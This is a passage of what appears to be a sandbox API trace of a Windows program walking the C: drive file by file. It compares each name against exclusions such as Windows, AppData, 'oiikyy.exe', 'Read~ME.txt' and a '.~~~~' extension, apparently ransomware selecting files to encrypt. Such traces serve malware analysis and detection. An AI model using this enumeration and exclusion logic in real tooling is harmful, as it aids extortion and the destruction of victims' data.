	[0062.376] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0062.376] lstrcmpiW (lpString1="zh-TW", lpString2="Windows") returned 1
	[0062.376] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1
	[0062.376] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1
	[0062.376] lstrcmpW (lpString1="zh-TW", lpString2="AppData") returned 1
	[0062.376] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW", lpSrch="AppData") returned 0x0
	[0062.376] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.376] lstrcmpiW (lpString1="C:\\Boot\\zh-TW", lpString2="C:\\Windows") returned -1
	[0062.376] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.376] lstrcmpiW (lpString1="C:\\Boot\\zh-TW", lpString2="C:\\System Volume Information") returned -1
	[0062.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.377] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.377] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.377] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.377] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.377] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.377] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.377] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.377] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.377] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.377] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.377] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.377] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.377] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.377] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.377] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.377] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.378] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.378] GetCurrentThreadId () returned 0x618
	[0062.378] GetCurrentThreadId () returned 0x618
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca08
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39ed00
	[0062.378] RtlWakeConditionVariable () returned 0x365f48
	[0062.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.378] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.378] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.378] GetCurrentThreadId () returned 0x618
	[0062.378] GetCurrentThreadId () returned 0x618
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.378] RtlWakeConditionVariable () returned 0x365f48
	[0062.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.378] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0062.378] FindClose (in: hFindFile=0x37a788 | out: hFindFile=0x37a788) returned 1
	[0062.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0062.379] GetCurrentThreadId () returned 0x618
	[0062.379] GetCurrentThreadId () returned 0x618
	[0062.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0062.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0062.379] RtlWakeConditionVariable () returned 0x365f48
	[0062.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0062.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0062.380] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0062.380] lstrcmpiW (lpString1="bootmgr", lpString2="Windows") returned -1
	[0062.380] lstrcmpW (lpString1="bootmgr", lpString2="oiikyy.exe") returned -1
	[0062.380] StrStrW (lpFirst="bootmgr", lpSrch=".~~~~") returned 0x0
	[0062.380] lstrcmpW (lpString1="bootmgr", lpString2="Read~ME.txt") returned -1
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.380] GetCurrentThreadId () returned 0x618
	[0062.380] GetCurrentThreadId () returned 0x618
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0062.380] RtlWakeConditionVariable () returned 0x365f48
	[0062.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.380] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0062.380] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1
	[0062.380] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="oiikyy.exe") returned -1
	[0062.380] StrStrW (lpFirst="BOOTSECT.BAK", lpSrch=".~~~~") returned 0x0
	[0062.380] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Read~ME.txt") returned -1
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.380] GetCurrentThreadId () returned 0x618
	[0062.380] GetCurrentThreadId () returned 0x618
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc40
	[0062.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc78
	[0062.381] RtlWakeConditionVariable () returned 0x365f48
	[0062.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.381] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0062.381] lstrcmpiW (lpString1="Config.Msi", lpString2="Windows") returned -1
	[0062.381] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1
	[0062.381] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1
	[0062.381] lstrcmpW (lpString1="Config.Msi", lpString2="AppData") returned 1
	[0062.381] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi", lpSrch="AppData") returned 0x0
	[0062.381] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.381] lstrcmpiW (lpString1="C:\\Config.Msi", lpString2="C:\\Windows") returned -1
	[0062.381] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.381] lstrcmpiW (lpString1="C:\\Config.Msi", lpString2="C:\\System Volume Information") returned -1
	[0062.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0062.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0062.382] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.382] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.382] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.382] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.382] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.382] GetCurrentThreadId () returned 0x618
	[0062.382] GetCurrentThreadId () returned 0x618
	[0062.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dcb0
	[0062.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dce8
	[0062.382] RtlWakeConditionVariable () returned 0x365f48
	[0062.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.382] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.382] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.382] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.382] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.382] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.382] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.382] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.382] GetCurrentThreadId () returned 0x618
	[0062.382] GetCurrentThreadId () returned 0x618
	[0062.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd20
	[0062.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd58
	[0062.383] RtlWakeConditionVariable () returned 0x365f48
	[0062.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.383] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0062.383] FindClose (in: hFindFile=0x37a788 | out: hFindFile=0x37a788) returned 1
	[0062.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.384] GetCurrentThreadId () returned 0x618
	[0062.384] GetCurrentThreadId () returned 0x618
	[0062.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.384] RtlWakeConditionVariable () returned 0x365f48
	[0062.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0062.385] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0062.385] lstrcmpiW (lpString1="Documents and Settings", lpString2="Windows") returned -1
	[0062.385] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1
	[0062.385] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1
	[0062.385] lstrcmpW (lpString1="Documents and Settings", lpString2="AppData") returned 1
	[0062.385] StrStrW (lpFirst="\\\\?\\C:\\Documents and Settings", lpSrch="AppData") returned 0x0
	[0062.385] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.385] lstrcmpiW (lpString1="C:\\Documents and Settings", lpString2="C:\\Windows") returned -1
	[0062.385] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.385] lstrcmpiW (lpString1="C:\\Documents and Settings", lpString2="C:\\System Volume Information") returned -1
	[0062.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0062.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="ﳐɽꎨ盁Ѐ")) returned 0xffffffff
	[0062.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0062.386] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0062.386] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Windows") returned -1
	[0062.386] lstrcmpW (lpString1="hiberfil.sys", lpString2="oiikyy.exe") returned -1
	[0062.386] StrStrW (lpFirst="hiberfil.sys", lpSrch=".~~~~") returned 0x0
	[0062.386] lstrcmpW (lpString1="hiberfil.sys", lpString2="Read~ME.txt") returned -1
	[0062.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0062.386] GetCurrentThreadId () returned 0x618
	[0062.386] GetCurrentThreadId () returned 0x618
	[0062.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0062.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de00
	[0062.386] RtlWakeConditionVariable () returned 0x365f48
	[0062.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0062.387] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0062.387] lstrcmpiW (lpString1="MSOCache", lpString2="Windows") returned -1
	[0062.387] lstrcmpW (lpString1="MSOCache", lpString2=".") returned 1
	[0062.387] lstrcmpW (lpString1="MSOCache", lpString2="..") returned 1
	[0062.387] lstrcmpW (lpString1="MSOCache", lpString2="AppData") returned 1
	[0062.387] StrStrW (lpFirst="\\\\?\\C:\\MSOCache", lpSrch="AppData") returned 0x0
	[0062.387] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.387] lstrcmpiW (lpString1="C:\\MSOCache", lpString2="C:\\Windows") returned -1
	[0062.387] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.387] lstrcmpiW (lpString1="C:\\MSOCache", lpString2="C:\\System Volume Information") returned -1
	[0062.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0062.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0062.388] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.388] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.388] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.388] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.388] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0062.388] GetCurrentThreadId () returned 0x618
	[0062.388] GetCurrentThreadId () returned 0x618
	[0062.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0062.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de70
	[0062.388] RtlWakeConditionVariable () returned 0x365f48
	[0062.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0062.389] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.389] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.389] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.389] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.389] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.389] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.389] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0062.389] GetCurrentThreadId () returned 0x618
	[0062.389] GetCurrentThreadId () returned 0x618
	[0062.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dea8
	[0062.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dee0
	[0062.389] RtlWakeConditionVariable () returned 0x365f48
	[0062.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0062.389] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0062.389] lstrcmpiW (lpString1="All Users", lpString2="Windows") returned -1
	[0062.389] lstrcmpW (lpString1="All Users", lpString2=".") returned 1
	[0062.389] lstrcmpW (lpString1="All Users", lpString2="..") returned 1
	[0062.389] lstrcmpW (lpString1="All Users", lpString2="AppData") returned -1
	[0062.390] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users", lpSrch="AppData") returned 0x0
	[0062.390] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.390] lstrcmpiW (lpString1="C:\\MSOCache\\All Users", lpString2="C:\\Windows") returned -1
	[0062.390] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.390] lstrcmpiW (lpString1="C:\\MSOCache\\All Users", lpString2="C:\\System Volume Information") returned -1
	[0062.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38c740
	[0062.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.438] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.438] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.438] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.438] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.438] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.439] GetCurrentThreadId () returned 0x618
	[0062.439] GetCurrentThreadId () returned 0x618
	[0062.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.439] RtlWakeConditionVariable () returned 0x1
	[0062.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
